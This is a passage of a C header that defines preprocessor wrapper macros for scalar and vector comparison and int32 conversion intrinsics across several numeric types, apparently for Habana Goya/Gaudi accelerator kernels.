o))\n#define bv_i8_cmp_less_v_v_vb(a, b, i, p, o) v_i8_cmp_less_vb(a, b, 0, i, p, o)\n#define bv_u8_cmp_less_v_v_vb(a, b, i, p, o) v_u8_cmp_less_vb(a, b, 0, i, p, o)\n\n#define bv_f32_cmp_less_v_s_vb(a, b, i, p, o) bv_f32_cmp_less_v_v_vb(a, b, i, p, o)\n#define bv_bf16_cmp_less_v_s_vb(a, b, i, p, o) bv_bf16_cmp_less_v_v_vb(a, b, i, p, o)\n#define bv_i32_cmp_less_v_s_vb(a, b, i, p, o) bv_i32_cmp_less_v_v_vb(a, b, i, p, o)\n#define bv_u32_cmp_less_v_s_vb(a, b, i, p, o) bv_u32_cmp_less_v_v_vb(a, b, i, p, o)\n#define bv_i16_cmp_less_v_s_vb(a, b, i, p, o) bv_i16_cmp_less_v_v_vb(a, b, i, p, o)\n#define bv_u16_cmp_less_v_s_vb(a, b, i, p, o) bv_u16_cmp_less_v_v_vb(a, b, i, p, o)\n#define bv_i8_cmp_less_v_s_vb(a, b, i, p, o) bv_i8_cmp_less_v_v_vb(a, b, i, p, o)\n#define bv_u8_cmp_less_v_s_vb(a, b, i, p, o) bv_u8_cmp_less_v_v_vb(a, b, i, p, o)\n\n#define bv_f32_cmp_less_v_v_b(a, b, i, p, o) from_bool64(v_f32_cmp_less_b(a, b, 0, to_bool64(i), p, o))\n#define bv_bf16_cmp_less_v_v_b(a, b, i, p, o) from_bool128(v_bf16_cmp_less_b(a, b, 0, to_bool128(i), p, o))\n#define bv_i32_cmp_less_v_v_b(a, b, i, p, o) from_bool64(v_i32_cmp_less_b(a, b, 0, to_bool64(i), p, o))\n#define bv_u32_cmp_less_v_v_b(a, b, i, p, o) from_bool64(v_u32_cmp_less_b(a, b, 0, to_bool64(i), p, o))\n#define bv_i16_cmp_less_v_v_b(a, b, i, p, o) from_bool128(v_i16_cmp_less_b(a, b, 0, to_bool128(i), p, o))\n#define bv_u16_cmp_less_v_v_b(a, b, i, p, o) from_bool128(v_u16_cmp_less_b(a, b, 0, to_bool128(i), p, o))\n#define bv_i8_cmp_less_v_v_b(a, b, i, p, o) v_i8_cmp_less_b(a, b, 0, i, p, o)\n#define bv_u8_cmp_less_v_v_b(a, b, i, p, o) v_u8_cmp_less_b(a, b, 0, i, p, o)\n\n#define bv_f32_cmp_less_v_s_b(a, b, i, p, o) bv_f32_cmp_less_v_v_b(a, b, i, p, o)\n#define bv_bf16_cmp_less_v_s_b(a, b, i, p, o) bv_bf16_cmp_less_v_v_b(a, b, i, p, o)\n#define bv_i32_cmp_less_v_s_b(a, b, i, p, o) bv_i32_cmp_less_v_v_b(a, b, i, p, o)\n#define bv_u32_cmp_less_v_s_b(a, b, i, p, o) bv_u32_cmp_less_v_v_b(a, b, i, p, o)\n#define bv_i16_cmp_less_v_s_b(a, b, i, p, o) bv_i16_cmp_less_v_v_b(a, b, i, p, o)\n#define bv_u16_cmp_less_v_s_b(a, b, i, p, o) bv_u16_cmp_less_v_v_b(a, b, i, p, o)\n#define bv_i8_cmp_less_v_s_b(a, b, i, p, o) bv_i8_cmp_less_v_v_b(a, b, i, p, o)\n#define bv_u8_cmp_less_v_s_b(a, b, i, p, o) bv_u8_cmp_less_v_v_b(a, b, i, p, o)\n\n#define bv_f32_cmp_less_v_v(a, b) bv_f32_cmp_less_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_bf16_cmp_less_v_v(a, b) bv_bf16_cmp_less_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i32_cmp_less_v_v(a, b) bv_i32_cmp_less_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u32_cmp_less_v_v(a, b) bv_u32_cmp_less_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i16_cmp_less_v_v(a, b) bv_i16_cmp_less_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u16_cmp_less_v_v(a, b) bv_u16_cmp_less_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i8_cmp_less_v_v(a, b) bv_i8_cmp_less_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u8_cmp_less_v_v(a, b) bv_u8_cmp_less_v_v_b(a, b, (bool256){0}, 1, 0)\n\n#define bv_f32_cmp_less_v_s(a, b) bv_f32_cmp_less_v_v(a, b)\n#define bv_i32_cmp_less_v_s(a, b) bv_i32_cmp_less_v_v(a, b)\n#define bv_u32_cmp_less_v_s(a, b) bv_u32_cmp_less_v_v(a, b)\n#define bv_i16_cmp_less_v_s(a, b) bv_i16_cmp_less_v_v(a, b)\n#define bv_u16_cmp_less_v_s(a, b) bv_u16_cmp_less_v_v(a, b)\n#define bv_i8_cmp_less_v_s(a, b) bv_i8_cmp_less_v_v(a, b)\n#define bv_u8_cmp_less_v_s(a, b) bv_u8_cmp_less_v_v(a, b)\n#define bv_bf16_cmp_less_v_s(a, b) bv_bf16_cmp_less_v_v(a, b)\n\n\n// CMP_LEQ\n\n#define b_f32_cmp_leq_s_s_b(a, b, i, p, o) s_f32_cmp_leq(a, b, 0, i, p, o)\n#define b_bf16_cmp_leq_s_s_b(a, b, i, p, o) s_bf16_cmp_leq(a, b, 0, i, p, o)\n#define b_i32_cmp_leq_s_s_b(a, b, i, p, o) s_i32_cmp_leq(a, b, 0, i, p, o)\n#define b_u32_cmp_leq_s_s_b(a, b, i, p, o) s_u32_cmp_leq(a, b, 0, i, p, o)\n#define b_i16_cmp_leq_s_s_b(a, b, i, p, o) s_i16_cmp_leq(a, b, 0, i, p, o)\n#define b_u16_cmp_leq_s_s_b(a, b, i, p, o) s_u16_cmp_leq(a, b, 0, i, p, o)\n#define b_i8_cmp_leq_s_s_b(a, b, i, p, o) s_i8_cmp_leq(a, b, 0, i, p, o)\n#define b_u8_cmp_leq_s_s_b(a, b, i, p, o) s_u8_cmp_leq(a, b, 0, i, p, o)\n\n#define b_f32_cmp_leq_s_s(a, b) b_f32_cmp_leq_s_s_b(a, b, 0, 1, 0)\n#define b_bf16_cmp_leq_s_s(a, b) b_bf16_cmp_leq_s_s_b(a, b, 0, 1, 0)\n#define b_i32_cmp_leq_s_s(a, b) b_i32_cmp_leq_s_s_b(a, b, 0, 1, 0)\n#define b_u32_cmp_leq_s_s(a, b) b_u32_cmp_leq_s_s_b(a, b, 0, 1, 0)\n#define b_i16_cmp_leq_s_s(a, b) b_i16_cmp_leq_s_s_b(a, b, 0, 1, 0)\n#define b_u16_cmp_leq_s_s(a, b) b_u16_cmp_leq_s_s_b(a, b, 0, 1, 0)\n#define b_i8_cmp_leq_s_s(a, b) b_i8_cmp_leq_s_s_b(a, b, 0, 1, 0)\n#define b_u8_cmp_leq_s_s(a, b) b_u8_cmp_leq_s_s_b(a, b, 0, 1, 0)\n\n#define bv_f32_cmp_leq_v_v_vb(a, b, i, p, o) from_bool64(v_f32_cmp_leq_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_bf16_cmp_leq_v_v_vb(a, b, i, p, o) from_bool128(v_bf16_cmp_leq_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_i32_cmp_leq_v_v_vb(a, b, i, p, o) from_bool64(v_i32_cmp_leq_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_u32_cmp_leq_v_v_vb(a, b, i, p, o) from_bool64(v_u32_cmp_leq_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_i16_cmp_leq_v_v_vb(a, b, i, p, o) from_bool128(v_i16_cmp_leq_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_u16_cmp_leq_v_v_vb(a, b, i, p, o) from_bool128(v_u16_cmp_leq_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_i8_cmp_leq_v_v_vb(a, b, i, p, o) v_i8_cmp_leq_vb(a, b, 0, i, p, o)\n#define bv_u8_cmp_leq_v_v_vb(a, b, i, p, o) v_u8_cmp_leq_vb(a, b, 0, i, p, o)\n\n#define bv_f32_cmp_leq_v_s_vb(a, b, i, p, o) bv_f32_cmp_leq_v_v_vb(a, b, i, p, o)\n#define bv_bf16_cmp_leq_v_s_vb(a, b, i, p, o) bv_bf16_cmp_leq_v_v_vb(a, b, i, p, o)\n#define bv_i32_cmp_leq_v_s_vb(a, b, i, p, o) bv_i32_cmp_leq_v_v_vb(a, b, i, p, o)\n#define bv_u32_cmp_leq_v_s_vb(a, b, i, p, o) bv_u32_cmp_leq_v_v_vb(a, b, i, p, o)\n#define bv_i16_cmp_leq_v_s_vb(a, b, i, p, o) bv_i16_cmp_leq_v_v_vb(a, b, i, p, o)\n#define bv_u16_cmp_leq_v_s_vb(a, b, i, p, o) bv_u16_cmp_leq_v_v_vb(a, b, i, p, o)\n#define bv_i8_cmp_leq_v_s_vb(a, b, i, p, o) bv_i8_cmp_leq_v_v_vb(a, b, i, p, o)\n#define bv_u8_cmp_leq_v_s_vb(a, b, i, p, o) bv_u8_cmp_leq_v_v_vb(a, b, i, p, o)\n\n#define bv_f32_cmp_leq_v_v_b(a, b, i, p, o) from_bool64(v_f32_cmp_leq_b(a, b, 0, to_bool64(i), p, o))\n#define bv_bf16_cmp_leq_v_v_b(a, b, i, p, o) from_bool128(v_bf16_cmp_leq_b(a, b, 0, to_bool128(i), p, o))\n#define bv_i32_cmp_leq_v_v_b(a, b, i, p, o) from_bool64(v_i32_cmp_leq_b(a, b, 0, to_bool64(i), p, o))\n#define bv_u32_cmp_leq_v_v_b(a, b, i, p, o) from_bool64(v_u32_cmp_leq_b(a, b, 0, to_bool64(i), p, o))\n#define bv_i16_cmp_leq_v_v_b(a, b, i, p, o) from_bool128(v_i16_cmp_leq_b(a, b, 0, to_bool128(i), p, o))\n#define bv_u16_cmp_leq_v_v_b(a, b, i, p, o) from_bool128(v_u16_cmp_leq_b(a, b, 0, to_bool128(i), p, o))\n#define bv_i8_cmp_leq_v_v_b(a, b, i, p, o) v_i8_cmp_leq_b(a, b, 0, i, p, o)\n#define bv_u8_cmp_leq_v_v_b(a, b, i, p, o) v_u8_cmp_leq_b(a, b, 0, i, p, o)\n\n#define bv_f32_cmp_leq_v_s_b(a, b, i, p, o) bv_f32_cmp_leq_v_v_b(a, b, i, p, o)\n#define bv_bf16_cmp_leq_v_s_b(a, b, i, p, o) bv_bf16_cmp_leq_v_v_b(a, b, i, p, o)\n#define bv_i32_cmp_leq_v_s_b(a, b, i, p, o) bv_i32_cmp_leq_v_v_b(a, b, i, p, o)\n#define bv_u32_cmp_leq_v_s_b(a, b, i, p, o) bv_u32_cmp_leq_v_v_b(a, b, i, p, o)\n#define bv_i16_cmp_leq_v_s_b(a, b, i, p, o) bv_i16_cmp_leq_v_v_b(a, b, i, p, o)\n#define bv_u16_cmp_leq_v_s_b(a, b, i, p, o) bv_u16_cmp_leq_v_v_b(a, b, i, p, o)\n#define bv_i8_cmp_leq_v_s_b(a, b, i, p, o) bv_i8_cmp_leq_v_v_b(a, b, i, p, o)\n#define bv_u8_cmp_leq_v_s_b(a, b, i, p, o) bv_u8_cmp_leq_v_v_b(a, b, i, p, o)\n\n#define bv_f32_cmp_leq_v_v(a, b) bv_f32_cmp_leq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_bf16_cmp_leq_v_v(a, b) bv_bf16_cmp_leq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i32_cmp_leq_v_v(a, b) bv_i32_cmp_leq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u32_cmp_leq_v_v(a, b) bv_u32_cmp_leq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i16_cmp_leq_v_v(a, b) bv_i16_cmp_leq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u16_cmp_leq_v_v(a, b) bv_u16_cmp_leq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i8_cmp_leq_v_v(a, b) bv_i8_cmp_leq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u8_cmp_leq_v_v(a, b) bv_u8_cmp_leq_v_v_b(a, b, (bool256){0}, 1, 0)\n\n#define bv_f32_cmp_leq_v_s(a, b) bv_f32_cmp_leq_v_v(a, b)\n#define bv_i32_cmp_leq_v_s(a, b) bv_i32_cmp_leq_v_v(a, b)\n#define bv_u32_cmp_leq_v_s(a, b) bv_u32_cmp_leq_v_v(a, b)\n#define bv_i16_cmp_leq_v_s(a, b) bv_i16_cmp_leq_v_v(a, b)\n#define bv_u16_cmp_leq_v_s(a, b) bv_u16_cmp_leq_v_v(a, b)\n#define bv_i8_cmp_leq_v_s(a, b) bv_i8_cmp_leq_v_v(a, b)\n#define bv_u8_cmp_leq_v_s(a, b) bv_u8_cmp_leq_v_v(a, b)\n#define bv_bf16_cmp_leq_v_s(a, b) bv_bf16_cmp_leq_v_v(a, b)\n\n\n// CMP_GRT\n\n#define b_f32_cmp_grt_s_s_b(a, b, i, p, o) s_f32_cmp_grt(a, b, 0, i, p, o)\n#define b_bf16_cmp_grt_s_s_b(a, b, i, p, o) s_bf16_cmp_grt(a, b, 0, i, p, o)\n#define b_i32_cmp_grt_s_s_b(a, b, i, p, o) s_i32_cmp_grt(a, b, 0, i, p, o)\n#define b_u32_cmp_grt_s_s_b(a, b, i, p, o) s_u32_cmp_grt(a, b, 0, i, p, o)\n#define b_i16_cmp_grt_s_s_b(a, b, i, p, o) s_i16_cmp_grt(a, b, 0, i, p, o)\n#define b_u16_cmp_grt_s_s_b(a, b, i, p, o) s_u16_cmp_grt(a, b, 0, i, p, o)\n#define b_i8_cmp_grt_s_s_b(a, b, i, p, o) s_i8_cmp_grt(a, b, 0, i, p, o)\n#define b_u8_cmp_grt_s_s_b(a, b, i, p, o) s_u8_cmp_grt(a, b, 0, i, p, o)\n\n#define b_f32_cmp_grt_s_s(a, b) b_f32_cmp_grt_s_s_b(a, b, 0, 1, 0)\n#define b_bf16_cmp_grt_s_s(a, b) b_bf16_cmp_grt_s_s_b(a, b, 0, 1, 0)\n#define b_i32_cmp_grt_s_s(a, b) b_i32_cmp_grt_s_s_b(a, b, 0, 1, 0)\n#define b_u32_cmp_grt_s_s(a, b) b_u32_cmp_grt_s_s_b(a, b, 0, 1, 0)\n#define b_i16_cmp_grt_s_s(a, b) b_i16_cmp_grt_s_s_b(a, b, 0, 1, 0)\n#define b_u16_cmp_grt_s_s(a, b) b_u16_cmp_grt_s_s_b(a, b, 0, 1, 0)\n#define b_i8_cmp_grt_s_s(a, b) b_i8_cmp_grt_s_s_b(a, b, 0, 1, 0)\n#define b_u8_cmp_grt_s_s(a, b) b_u8_cmp_grt_s_s_b(a, b, 0, 1, 0)\n\n#define bv_f32_cmp_grt_v_v_vb(a, b, i, p, o) from_bool64(v_f32_cmp_grt_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_bf16_cmp_grt_v_v_vb(a, b, i, p, o) from_bool128(v_bf16_cmp_grt_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_i32_cmp_grt_v_v_vb(a, b, i, p, o) from_bool64(v_i32_cmp_grt_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_u32_cmp_grt_v_v_vb(a, b, i, p, o) from_bool64(v_u32_cmp_grt_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_i16_cmp_grt_v_v_vb(a, b, i, p, o) from_bool128(v_i16_cmp_grt_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_u16_cmp_grt_v_v_vb(a, b, i, p, o) from_bool128(v_u16_cmp_grt_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_i8_cmp_grt_v_v_vb(a, b, i, p, o) v_i8_cmp_grt_vb(a, b, 0, i, p, o)\n#define bv_u8_cmp_grt_v_v_vb(a, b, i, p, o) v_u8_cmp_grt_vb(a, b, 0, i, p, o)\n\n#define bv_f32_cmp_grt_v_s_vb(a, b, i, p, o) bv_f32_cmp_grt_v_v_vb(a, b, i, p, o)\n#define bv_bf16_cmp_grt_v_s_vb(a, b, i, p, o) bv_bf16_cmp_grt_v_v_vb(a, b, i, p, o)\n#define bv_i32_cmp_grt_v_s_vb(a, b, i, p, o) bv_i32_cmp_grt_v_v_vb(a, b, i, p, o)\n#define bv_u32_cmp_grt_v_s_vb(a, b, i, p, o) bv_u32_cmp_grt_v_v_vb(a, b, i, p, o)\n#define bv_i16_cmp_grt_v_s_vb(a, b, i, p, o) bv_i16_cmp_grt_v_v_vb(a, b, i, p, o)\n#define bv_u16_cmp_grt_v_s_vb(a, b, i, p, o) bv_u16_cmp_grt_v_v_vb(a, b, i, p, o)\n#define bv_i8_cmp_grt_v_s_vb(a, b, i, p, o) bv_i8_cmp_grt_v_v_vb(a, b, i, p, o)\n#define bv_u8_cmp_grt_v_s_vb(a, b, i, p, o) bv_u8_cmp_grt_v_v_vb(a, b, i, p, o)\n\n#define bv_f32_cmp_grt_v_v_b(a, b, i, p, o) from_bool64(v_f32_cmp_grt_b(a, b, 0, to_bool64(i), p, o))\n#define bv_bf16_cmp_grt_v_v_b(a, b, i, p, o) from_bool128(v_bf16_cmp_grt_b(a, b, 0, to_bool128(i), p, o))\n#define bv_i32_cmp_grt_v_v_b(a, b, i, p, o) from_bool64(v_i32_cmp_grt_b(a, b, 0, to_bool64(i), p, o))\n#define bv_u32_cmp_grt_v_v_b(a, b, i, p, o) from_bool64(v_u32_cmp_grt_b(a, b, 0, to_bool64(i), p, o))\n#define bv_i16_cmp_grt_v_v_b(a, b, i, p, o) from_bool128(v_i16_cmp_grt_b(a, b, 0, to_bool128(i), p, o))\n#define bv_u16_cmp_grt_v_v_b(a, b, i, p, o) from_bool128(v_u16_cmp_grt_b(a, b, 0, to_bool128(i), p, o))\n#define bv_i8_cmp_grt_v_v_b(a, b, i, p, o) v_i8_cmp_grt_b(a, b, 0, i, p, o)\n#define bv_u8_cmp_grt_v_v_b(a, b, i, p, o) v_u8_cmp_grt_b(a, b, 0, i, p, o)\n\n#define bv_f32_cmp_grt_v_s_b(a, b, i, p, o) bv_f32_cmp_grt_v_v_b(a, b, i, p, o)\n#define bv_bf16_cmp_grt_v_s_b(a, b, i, p, o) bv_bf16_cmp_grt_v_v_b(a, b, i, p, o)\n#define bv_i32_cmp_grt_v_s_b(a, b, i, p, o) bv_i32_cmp_grt_v_v_b(a, b, i, p, o)\n#define bv_u32_cmp_grt_v_s_b(a, b, i, p, o) bv_u32_cmp_grt_v_v_b(a, b, i, p, o)\n#define bv_i16_cmp_grt_v_s_b(a, b, i, p, o) bv_i16_cmp_grt_v_v_b(a, b, i, p, o)\n#define bv_u16_cmp_grt_v_s_b(a, b, i, p, o) bv_u16_cmp_grt_v_v_b(a, b, i, p, o)\n#define bv_i8_cmp_grt_v_s_b(a, b, i, p, o) bv_i8_cmp_grt_v_v_b(a, b, i, p, o)\n#define bv_u8_cmp_grt_v_s_b(a, b, i, p, o) bv_u8_cmp_grt_v_v_b(a, b, i, p, o)\n\n#define bv_f32_cmp_grt_v_v(a, b) bv_f32_cmp_grt_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_bf16_cmp_grt_v_v(a, b) bv_bf16_cmp_grt_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i32_cmp_grt_v_v(a, b) bv_i32_cmp_grt_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u32_cmp_grt_v_v(a, b) bv_u32_cmp_grt_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i16_cmp_grt_v_v(a, b) bv_i16_cmp_grt_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u16_cmp_grt_v_v(a, b) bv_u16_cmp_grt_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i8_cmp_grt_v_v(a, b) bv_i8_cmp_grt_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u8_cmp_grt_v_v(a, b) bv_u8_cmp_grt_v_v_b(a, b, (bool256){0}, 1, 0)\n\n#define bv_f32_cmp_grt_v_s(a, b) bv_f32_cmp_grt_v_v(a, b)\n#define bv_i32_cmp_grt_v_s(a, b) bv_i32_cmp_grt_v_v(a, b)\n#define bv_u32_cmp_grt_v_s(a, b) bv_u32_cmp_grt_v_v(a, b)\n#define bv_i16_cmp_grt_v_s(a, b) bv_i16_cmp_grt_v_v(a, b)\n#define bv_u16_cmp_grt_v_s(a, b) bv_u16_cmp_grt_v_v(a, b)\n#define bv_i8_cmp_grt_v_s(a, b) bv_i8_cmp_grt_v_v(a, b)\n#define bv_u8_cmp_grt_v_s(a, b) bv_u8_cmp_grt_v_v(a, b)\n#define bv_bf16_cmp_grt_v_s(a, b) bv_bf16_cmp_grt_v_v(a, b)\n\n\n// CMP_GEQ\n\n#define b_f32_cmp_geq_s_s_b(a, b, i, p, o) s_f32_cmp_geq(a, b, 0, i, p, o)\n#define b_bf16_cmp_geq_s_s_b(a, b, i, p, o) s_bf16_cmp_geq(a, b, 0, i, p, o)\n#define b_i32_cmp_geq_s_s_b(a, b, i, p, o) s_i32_cmp_geq(a, b, 0, i, p, o)\n#define b_u32_cmp_geq_s_s_b(a, b, i, p, o) s_u32_cmp_geq(a, b, 0, i, p, o)\n#define b_i16_cmp_geq_s_s_b(a, b, i, p, o) s_i16_cmp_geq(a, b, 0, i, p, o)\n#define b_u16_cmp_geq_s_s_b(a, b, i, p, o) s_u16_cmp_geq(a, b, 0, i, p, o)\n#define b_i8_cmp_geq_s_s_b(a, b, i, p, o) s_i8_cmp_geq(a, b, 0, i, p, o)\n#define b_u8_cmp_geq_s_s_b(a, b, i, p, o) s_u8_cmp_geq(a, b, 0, i, p, o)\n\n#define b_f32_cmp_geq_s_s(a, b) b_f32_cmp_geq_s_s_b(a, b, 0, 1, 0)\n#define b_bf16_cmp_geq_s_s(a, b) b_bf16_cmp_geq_s_s_b(a, b, 0, 1, 0)\n#define b_i32_cmp_geq_s_s(a, b) b_i32_cmp_geq_s_s_b(a, b, 0, 1, 0)\n#define b_u32_cmp_geq_s_s(a, b) b_u32_cmp_geq_s_s_b(a, b, 0, 1, 0)\n#define b_i16_cmp_geq_s_s(a, b) b_i16_cmp_geq_s_s_b(a, b, 0, 1, 0)\n#define b_u16_cmp_geq_s_s(a, b) b_u16_cmp_geq_s_s_b(a, b, 0, 1, 0)\n#define b_i8_cmp_geq_s_s(a, b) b_i8_cmp_geq_s_s_b(a, b, 0, 1, 0)\n#define b_u8_cmp_geq_s_s(a, b) b_u8_cmp_geq_s_s_b(a, b, 0, 1, 0)\n\n#define bv_f32_cmp_geq_v_v_vb(a, b, i, p, o) from_bool64(v_f32_cmp_geq_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_bf16_cmp_geq_v_v_vb(a, b, i, p, o) from_bool128(v_bf16_cmp_geq_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_i32_cmp_geq_v_v_vb(a, b, i, p, o) from_bool64(v_i32_cmp_geq_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_u32_cmp_geq_v_v_vb(a, b, i, p, o) from_bool64(v_u32_cmp_geq_vb(a, b, 0, to_bool64(i), to_bool64(p), o))\n#define bv_i16_cmp_geq_v_v_vb(a, b, i, p, o) from_bool128(v_i16_cmp_geq_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_u16_cmp_geq_v_v_vb(a, b, i, p, o) from_bool128(v_u16_cmp_geq_vb(a, b, 0, to_bool128(i), to_bool128(p), o))\n#define bv_i8_cmp_geq_v_v_vb(a, b, i, p, o) v_i8_cmp_geq_vb(a, b, 0, i, p, o)\n#define bv_u8_cmp_geq_v_v_vb(a, b, i, p, o) v_u8_cmp_geq_vb(a, b, 0, i, p, o)\n\n#define bv_f32_cmp_geq_v_s_vb(a, b, i, p, o) bv_f32_cmp_geq_v_v_vb(a, b, i, p, o)\n#define bv_bf16_cmp_geq_v_s_vb(a, b, i, p, o) bv_bf16_cmp_geq_v_v_vb(a, b, i, p, o)\n#define bv_i32_cmp_geq_v_s_vb(a, b, i, p, o) bv_i32_cmp_geq_v_v_vb(a, b, i, p, o)\n#define bv_u32_cmp_geq_v_s_vb(a, b, i, p, o) bv_u32_cmp_geq_v_v_vb(a, b, i, p, o)\n#define bv_i16_cmp_geq_v_s_vb(a, b, i, p, o) bv_i16_cmp_geq_v_v_vb(a, b, i, p, o)\n#define bv_u16_cmp_geq_v_s_vb(a, b, i, p, o) bv_u16_cmp_geq_v_v_vb(a, b, i, p, o)\n#define bv_i8_cmp_geq_v_s_vb(a, b, i, p, o) bv_i8_cmp_geq_v_v_vb(a, b, i, p, o)\n#define bv_u8_cmp_geq_v_s_vb(a, b, i, p, o) bv_u8_cmp_geq_v_v_vb(a, b, i, p, o)\n\n#define bv_f32_cmp_geq_v_v_b(a, b, i, p, o) from_bool64(v_f32_cmp_geq_b(a, b, 0, to_bool64(i), p, o))\n#define bv_bf16_cmp_geq_v_v_b(a, b, i, p, o) from_bool128(v_bf16_cmp_geq_b(a, b, 0, to_bool128(i), p, o))\n#define bv_i32_cmp_geq_v_v_b(a, b, i, p, o) from_bool64(v_i32_cmp_geq_b(a, b, 0, to_bool64(i), p, o))\n#define bv_u32_cmp_geq_v_v_b(a, b, i, p, o) from_bool64(v_u32_cmp_geq_b(a, b, 0, to_bool64(i), p, o))\n#define bv_i16_cmp_geq_v_v_b(a, b, i, p, o) from_bool128(v_i16_cmp_geq_b(a, b, 0, to_bool128(i), p, o))\n#define bv_u16_cmp_geq_v_v_b(a, b, i, p, o) from_bool128(v_u16_cmp_geq_b(a, b, 0, to_bool128(i), p, o))\n#define bv_i8_cmp_geq_v_v_b(a, b, i, p, o) v_i8_cmp_geq_b(a, b, 0, i, p, o)\n#define bv_u8_cmp_geq_v_v_b(a, b, i, p, o) v_u8_cmp_geq_b(a, b, 0, i, p, o)\n\n#define bv_f32_cmp_geq_v_s_b(a, b, i, p, o) bv_f32_cmp_geq_v_v_b(a, b, i, p, o)\n#define bv_bf16_cmp_geq_v_s_b(a, b, i, p, o) bv_bf16_cmp_geq_v_v_b(a, b, i, p, o)\n#define bv_i32_cmp_geq_v_s_b(a, b, i, p, o) bv_i32_cmp_geq_v_v_b(a, b, i, p, o)\n#define bv_u32_cmp_geq_v_s_b(a, b, i, p, o) bv_u32_cmp_geq_v_v_b(a, b, i, p, o)\n#define bv_i16_cmp_geq_v_s_b(a, b, i, p, o) bv_i16_cmp_geq_v_v_b(a, b, i, p, o)\n#define bv_u16_cmp_geq_v_s_b(a, b, i, p, o) bv_u16_cmp_geq_v_v_b(a, b, i, p, o)\n#define bv_i8_cmp_geq_v_s_b(a, b, i, p, o) bv_i8_cmp_geq_v_v_b(a, b, i, p, o)\n#define bv_u8_cmp_geq_v_s_b(a, b, i, p, o) bv_u8_cmp_geq_v_v_b(a, b, i, p, o)\n\n#define bv_f32_cmp_geq_v_v(a, b) bv_f32_cmp_geq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_bf16_cmp_geq_v_v(a, b) bv_bf16_cmp_geq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i32_cmp_geq_v_v(a, b) bv_i32_cmp_geq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u32_cmp_geq_v_v(a, b) bv_u32_cmp_geq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i16_cmp_geq_v_v(a, b) bv_i16_cmp_geq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u16_cmp_geq_v_v(a, b) bv_u16_cmp_geq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_i8_cmp_geq_v_v(a, b) bv_i8_cmp_geq_v_v_b(a, b, (bool256){0}, 1, 0)\n#define bv_u8_cmp_geq_v_v(a, b) bv_u8_cmp_geq_v_v_b(a, b, (bool256){0}, 1, 0)\n\n#define bv_f32_cmp_geq_v_s(a, b) bv_f32_cmp_geq_v_v(a, b)\n#define bv_i32_cmp_geq_v_s(a, b) bv_i32_cmp_geq_v_v(a, b)\n#define bv_u32_cmp_geq_v_s(a, b) bv_u32_cmp_geq_v_v(a, b)\n#define bv_i16_cmp_geq_v_s(a, b) bv_i16_cmp_geq_v_v(a, b)\n#define bv_u16_cmp_geq_v_s(a, b) bv_u16_cmp_geq_v_v(a, b)\n#define bv_i8_cmp_geq_v_s(a, b) bv_i8_cmp_geq_v_v(a, b)\n#define bv_u8_cmp_geq_v_s(a, b) bv_u8_cmp_geq_v_v(a, b)\n#define bv_bf16_cmp_geq_v_s(a, b) bv_bf16_cmp_geq_v_v(a, b)\n\n// CONVERT_INT32\n#define s_convert_int32_to_i16_s_s_b(a, b, i, rm, p, o) s_convert_int32_to_i16(a, b, (rm) << 16, i, p, o)\n#define s_convert_int32_to_i16_s_s(a, b, rm) s_convert_int32_to_i16_s_s_b(a, b, 0, rm, 1, 0)\n\n#define s_convert_int32_to_i8_s_s_b(a, b, i, rm, p, o) s_convert_int32_to_i8(a, b, (rm) << 16, i, p, o)\n#define s_convert_int32_to_i8_s_s(a, b, rm) s_convert_int32_to_i8_s_s_b(a, b, 0, rm, 1, 0)\n\n#if defined(__goya__) || defined(__gaudi__)\n#define v_convert_int32_to_i16_v_v_b(a, b, i, rm, ls, p, o) v_convert_int32_to_i16_b(a, b, ls, ((rm) << 16), i, p, o)\n#define v_convert_int32_to_i16_v_v_vb(a, b, i, rm, ls, p, o) v_convert_int32_to_i16_vb(a, b, ls, ((rm) << 16), i, to_bool64(p), o)\n#endif\n#define v_convert_int32_to_i16_v_v(a, b, i, rm, ls) v_convert_int32_to_i16_v_v_b(a, b, i, rm, ls, 1, 0)\n#define v_convert_int32_to_i16_v_s_b(a, b, i, rm, ls, p, o) v_convert_int32_to_i16_v_v_b(a, b, i, 